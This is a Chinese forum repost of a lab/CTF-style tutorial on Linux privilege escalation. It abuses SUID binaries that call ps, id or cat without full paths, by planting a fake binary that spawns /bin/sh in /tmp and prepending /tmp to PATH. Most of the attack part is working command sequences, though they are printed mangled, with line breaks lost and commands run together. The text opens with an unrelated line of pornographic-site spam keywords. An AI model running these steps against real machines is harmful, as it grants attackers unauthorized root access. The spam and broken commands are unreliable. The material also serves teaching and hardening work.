一区二区三区三上|欧美在线视频五区|国产午夜无码在线观看视频|亚洲国产裸体网站|无码成年人影视|亚洲AV亚洲AV|成人开心激情五月|欧美性爱内射视频|超碰人人干人人上|一区二区无码三区亚洲人区久久精品

0
  • 聊天消息
  • 系統(tǒng)消息
  • 評論與回復(fù)
登錄后你可以
  • 下載海量資料
  • 學(xué)習(xí)在線課程
  • 觀看技術(shù)視頻
  • 寫文章/發(fā)帖/加入社區(qū)
會員中心
創(chuàng)作中心

完善資料讓更多小伙伴認識你,還能領(lǐng)取20積分哦,立即完善>

3天內(nèi)不再提示

如何使用環(huán)境變量進行Linux提權(quán)的方法詳細資料概述

馬哥Linux運維 ? 來源:未知 ? 作者:易水寒 ? 2018-07-05 09:50 ? 次閱讀
加入交流群
微信小助手二維碼

掃碼添加小助手

加入工程師交流群

在這篇文章中,我將會為大家介紹一些使用環(huán)境變量進行Linux提權(quán)的方法,包括在CTF challenges中使用到一些的技術(shù)。話不多說,讓我們進入正題!

介紹

PATH是Linux和類Unix操作系統(tǒng)中的環(huán)境變量,它指定存儲可執(zhí)行程序的所有bin和sbin目錄。當(dāng)用戶在終端上執(zhí)行任何命令時,它會通過PATH變量來響應(yīng)用戶執(zhí)行的命令,并向shell發(fā)送請求以搜索可執(zhí)行文件。超級用戶通常還具有/sbin和/usr/sbin條目,以便于系統(tǒng)管理命令的執(zhí)行。

使用echo命令顯示當(dāng)前PATH環(huán)境變量:

echo $PATH

/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games

如果你在PATH變量中看到‘.’,則意味著登錄用戶可以從當(dāng)前目錄執(zhí)行二進制文件/腳本,這對于攻擊者而言也是一個提權(quán)的絕好機會。這里之所以沒有指定程序的完整路徑,往往是因為編寫程序時的疏忽造成的。

方法1

Ubuntu LAB SET_UP

當(dāng)前,我們位于/home/raj目錄,我們將在其中創(chuàng)建一個名為/script的新目錄。在script目錄下,我們將編寫一個小型的c程序來調(diào)用系統(tǒng)二進制文件的函數(shù)。

pwdmkdir scriptcd /scriptnano demo.c

如何使用環(huán)境變量進行Linux提權(quán)的方法詳細資料概述

正如你在demo.c文件中看到的,我們正在調(diào)用ps命令。

然后使用gcc編譯demo.c文件,并提升編譯文件的SUID權(quán)限。

lsgcc demo.c -o shellchmod u+s shellls -la shell

受害者VM機器

假設(shè)我們已經(jīng)成功滲透目標(biāo),并進入提權(quán)階段。我們通過ssh成功登錄到了受害者的機器。然后使用Find命令,搜索具有SUID或4000權(quán)限的文件。

find / -perm -u=s -type f 2>/dev/null

通過上述命令,攻擊者可以枚舉出目標(biāo)系統(tǒng)上所有的可執(zhí)行文件,這里可以看到/home/raj/script/shell具有SUID權(quán)限。

進入到/home/raj/script目錄,可以看到該目錄下有一個可執(zhí)行的“shell”文件,我們運行這個文件。

/home/raj/script

Echo命令

cd /tmpecho “/bin/sh” > pschmod 777 psecho $PATHexport PATH=/tmp:$PATHcd /home/raj/script./shellwhoami

Copy命令

cd /home/raj/script/cp /bin/sh /tmp/psecho $PATHexport PATH=/tmp:$PATH./shellwhoami

Symlink命令

ln -s /bin/sh psexport PATH=.:$PATH./shellidwhoami

注意:符號鏈接也叫軟鏈接,如果目錄具有完全權(quán)限,則它將成功運行。在Ubuntu中symlink情況下,我們已經(jīng)賦予了/script目錄777的權(quán)限。

因此,攻擊者可以操縱環(huán)境變量PATH來進行提權(quán),并獲得root訪問權(quán)限。

方法2

Ubuntu LAB SET_UP

重復(fù)上述步驟配置你的實驗環(huán)境,現(xiàn)在在腳本目錄中,我們將編寫一個小型的c程序來調(diào)用系統(tǒng)二進制文件的函數(shù)。

pwdmkdir scriptcd /scriptnano demo.c

正如你在demo.c文件中看到的,我們正在調(diào)用id命令。

然后使用gcc編譯demo.c文件,并提升編譯文件的SUID權(quán)限。

lsgcc demo.c -o shell2chmod u+s shell2ls -la shell2

受害者VM機器

同樣,假設(shè)我們已經(jīng)成功滲透目標(biāo),并進入提權(quán)階段。我們通過ssh成功登錄到了受害者的機器。然后使用Find命令,搜索具有SUID或4000權(quán)限的文件。在這里,我們可以看到/home/raj/script/shell2具有SUID權(quán)限。

find / -perm -u=s -type f 2>/dev/null

進入到/home/raj/script目錄,可以看到該目錄下有一個可執(zhí)行的“shell2”文件,我們運行這個文件。

cd /home/raj/scriptls./shell2

Echo命令

cd /tmpecho “/bin/sh” > idchmod 777 idecho $PATHexport PATH=/tmp:$PATHcd /home/raj/script./shell2whoami

方法3

Ubuntu LAB SET_UP

重復(fù)上述步驟配置你的實驗環(huán)境。正如你在demo.c文件中看到的,我們正在調(diào)用cat命令從etc/passwd文件中讀取內(nèi)容。

然后使用gcc編譯demo.c文件,并提升編譯文件的SUID權(quán)限。

lsgcc demo.c -o rajchmod u+s rajls -la raj

受害者VM機器

同樣,假設(shè)我們已經(jīng)成功滲透目標(biāo),并進入提權(quán)階段,通過執(zhí)行以下命令查看sudo用戶列表。

find / -perm -u=s -type f 2>/dev/null

在這里,我們可以看到/home/raj/script/raj具有SUID權(quán)限,進入到home/raj/script/目錄,可以看到該目錄下有一個可執(zhí)行的“raj”文件。所以當(dāng)我們運行這個文件時,它會把etc/passwd文件作為輸出結(jié)果。

cd /home/raj/script/ls./raj

Nano**編輯器**

cd /tmpnano cat

現(xiàn)在,當(dāng)終端打開時輸入/bin/bash并保存。

chmod 777 catls -al catecho $PATHexport PATH=/tmp:$PATHcd /home/raj/script./rajwhoami

方法4

Ubuntu LAB SET_UP

重復(fù)上述步驟配置你的實驗環(huán)境。正如你在demo.c文件中看到的,我們正在調(diào)用cat命令讀取/home/raj中的msg.txt中的內(nèi)容,但/home/raj中并沒有這樣的文件。

然后使用gcc編譯demo.c文件,并提升編譯文件的SUID權(quán)限。

lsgcc demo.c -o ignitechmod u+s ignitels -la ignite

受害者VM機器

同樣,假設(shè)我們已經(jīng)成功滲透目標(biāo),并進入提權(quán)階段,通過執(zhí)行以下命令查看sudo用戶列表

find / -perm -u=s -type f 2>/dev/null

在這里,我們可以看到/home/raj/script/ignite具有SUID權(quán)限,進入到/home/raj/script目錄,可以看到該目錄下有一個可執(zhí)行的“ignite”文件。所以當(dāng)我們運行這個文件時,它會報錯“cat: /home/raj/msg.txt”文件或目錄不存在。

cd /home/raj/scriptls./ignite

Vi編輯器

cd /tmpvi cat

現(xiàn)在,當(dāng)終端打開時輸入/bin/bash并保存。

chmod 777 catls -al catecho $PATHexport PATH=/tmp:$PATHcd /home/raj/script./ignitewhoami

如何使用環(huán)境變量進行Linux提權(quán)的方法詳細資料概述

聲明:本文內(nèi)容及配圖由入駐作者撰寫或者入駐合作網(wǎng)站授權(quán)轉(zhuǎn)載。文章觀點僅代表作者本人,不代表電子發(fā)燒友網(wǎng)立場。文章及其配圖僅供工程師學(xué)習(xí)之用,如有內(nèi)容侵權(quán)或者其他違規(guī)問題,請聯(lián)系本站處理。 舉報投訴
  • Linux
    +關(guān)注

    關(guān)注

    87

    文章

    11509

    瀏覽量

    213748
  • UNIX
    +關(guān)注

    關(guān)注

    0

    文章

    296

    瀏覽量

    42335
  • ECHO
    +關(guān)注

    關(guān)注

    1

    文章

    73

    瀏覽量

    27748

原文標(biāo)題:黑客的Linux神技能:使用環(huán)境變量進行提權(quán)

文章出處:【微信號:magedu-Linux,微信公眾號:馬哥Linux運維】歡迎添加關(guān)注!文章轉(zhuǎn)載請注明出處。

收藏 人收藏
加入交流群
微信小助手二維碼

掃碼添加小助手

加入工程師交流群

    評論

    相關(guān)推薦
    熱點推薦

    迅為RK3588開發(fā)板RKLLM-Toolkit 環(huán)境搭建安裝 Miniconda

    Linux-aarch64 64-bit 兩個版本的安裝包進行下載,如下圖所示: 為了方便,已經(jīng)將兩個安裝包存放到了“iTOP-3588 開發(fā)板\\\\02_【iTOP-RK3588 開發(fā)板】 開發(fā)資料
    發(fā)表于 06-03 17:06

    飛凌嵌入式ElfBoard ELF 1板卡-uboot常用命令之環(huán)境變量命令

    、bootargsbootargs是一個重要的環(huán)境變量,主要是給內(nèi)核傳遞參數(shù),整個環(huán)境變量都是圍繞著bootargs來設(shè)置的。bootargs非常的靈活,內(nèi)核和文件系統(tǒng)的不同搭配就會有不同的設(shè)置方法。下面
    發(fā)表于 05-22 11:28

    飛凌嵌入式ElfBoard ELF 1板卡-Uboot常用命令之查看命令

    查看使用說明:=>help setenv這里可以看到setenv命令有兩種用法,一種是設(shè)置環(huán)境變量值,一種是刪除環(huán)境變量,具體使用方法在下一節(jié)中詳細說明。
    發(fā)表于 05-22 11:26

    SV601187的詳細資料合集包括了電路圖,原理圖和介紹等詳細資料概述

    純分享貼,有需要可以直接下載附件獲取完整資料! (如果內(nèi)容有幫助可以關(guān)注、點贊、評論支持一下哦~)
    發(fā)表于 04-02 14:18

    從零開始馴服Linux(一):ZYNQ-Linux啟動文件構(gòu)建全解析

    /environment-setup-cortexa9t2hf-neon-xilinx-linux-gnueabi”以設(shè)置相應(yīng)的環(huán)境變量,其中的“.”和source具有相同含義。 1.3拷貝源碼到Ubuntu系統(tǒng)拷貝u-boot源碼開發(fā)板出廠鏡像
    發(fā)表于 03-20 16:48

    L298N-驅(qū)動直流電機和步進電機的詳細資料大總結(jié)

    電機轉(zhuǎn)速控制電路(PWM信號)主要采用 L298N ,通過單片機的 I/O 輸入改變芯片控制端的電平,即可以對電機 進行正反轉(zhuǎn),停止的操作,輸入引腳與輸出引腳的邏輯關(guān)系圖為驅(qū)動直流電機和步進電機的詳細資料可下載PDF文檔![hide] [/hide]
    發(fā)表于 02-26 16:02

    USB 一線通監(jiān)控副屏

    環(huán)境搭建環(huán)境變量配置為了提高一些編譯的速度,選擇了在Linux系統(tǒng)下進行開發(fā),在Linux上開發(fā)N947需要先安裝e
    的頭像 發(fā)表于 12-07 01:10 ?409次閱讀
    USB 一線通監(jiān)控副屏

    飛凌嵌入式ElfBoard ELF 1板卡-使用AHT20進行環(huán)境監(jiān)測之開發(fā)板測試

    \\09_elf1_cmd_aht20\\elf1_cmd_aht20.c文件拷貝到linux虛擬機路徑。3.執(zhí)行環(huán)境變量. /opt/fsl-imx-x11/4.1.15-2.0.0
    發(fā)表于 11-28 09:30

    Linux環(huán)境變量配置方法

    Linux環(huán)境變量配置分為設(shè)置永久變量和臨時變量兩種。環(huán)境變量設(shè)置方法同時要考慮
    的頭像 發(fā)表于 10-23 13:39 ?702次閱讀

    鴻蒙Flutter實戰(zhàn):02-Windows環(huán)境搭建踩坑指南

    環(huán)境搭建 1. 下載Flutter SDK,配置環(huán)境變量 鴻蒙 Flutter SDK 需要在 Gitee 下載。目前建議下載 dev 分支代碼。 需要配置以下用戶變量 注意鴻蒙開發(fā)需要安裝Java
    發(fā)表于 10-22 15:05

    Xilinx設(shè)計工具怎么設(shè)置環(huán)境變量

    如果您不確定如何設(shè)置環(huán)境變量,嘗試"1" 或 "TRUE"。
    的頭像 發(fā)表于 10-22 13:32 ?613次閱讀

    請問TAS5719如何進行EQ設(shè)定?

    我們在用TAS5719進行一款產(chǎn)品的開發(fā),其他功能均已驗證完畢??吹竭@顆芯片能夠進行EQ調(diào)節(jié),但是手冊中沒有進一步的詳細資料。請問從哪里可以獲取有關(guān)TAS5719關(guān)于EQ更加詳細
    發(fā)表于 10-14 07:42

    嵌入式學(xué)習(xí)-飛凌嵌入式ElfBoard ELF 1板卡-開發(fā)環(huán)境搭建之交叉編譯

    不同的cpu的對應(yīng)的可執(zhí)行的二進制文件。交叉編譯鏈安裝建立交叉編譯環(huán)境又可分為安裝SDK(其中包含了交叉編譯工具鏈)和設(shè)置交叉編譯環(huán)境變量。SDK路徑:EF1開發(fā)板資料包/06-常用工具/06-1 編譯
    發(fā)表于 09-30 09:36

    飛凌嵌入式ElfBoard ELF 1板卡-開發(fā)環(huán)境搭建之交叉編譯

    不同的cpu的對應(yīng)的可執(zhí)行的二進制文件。交叉編譯鏈安裝建立交叉編譯環(huán)境又可分為安裝SDK(其中包含了交叉編譯工具鏈)和設(shè)置交叉編譯環(huán)境變量。SDK路徑:EF1開發(fā)板資料包/06-常用工具/06-1 編譯
    發(fā)表于 09-29 09:51

    Linux服務(wù)器性能查看方法

    Linux服務(wù)器性能查看是系統(tǒng)管理員和開發(fā)人員在日常工作中經(jīng)常需要進行的任務(wù),以確保系統(tǒng)穩(wěn)定運行并優(yōu)化資源使用。以下將詳細介紹多種Linux服務(wù)器性能查看的
    的頭像 發(fā)表于 09-02 11:15 ?1787次閱讀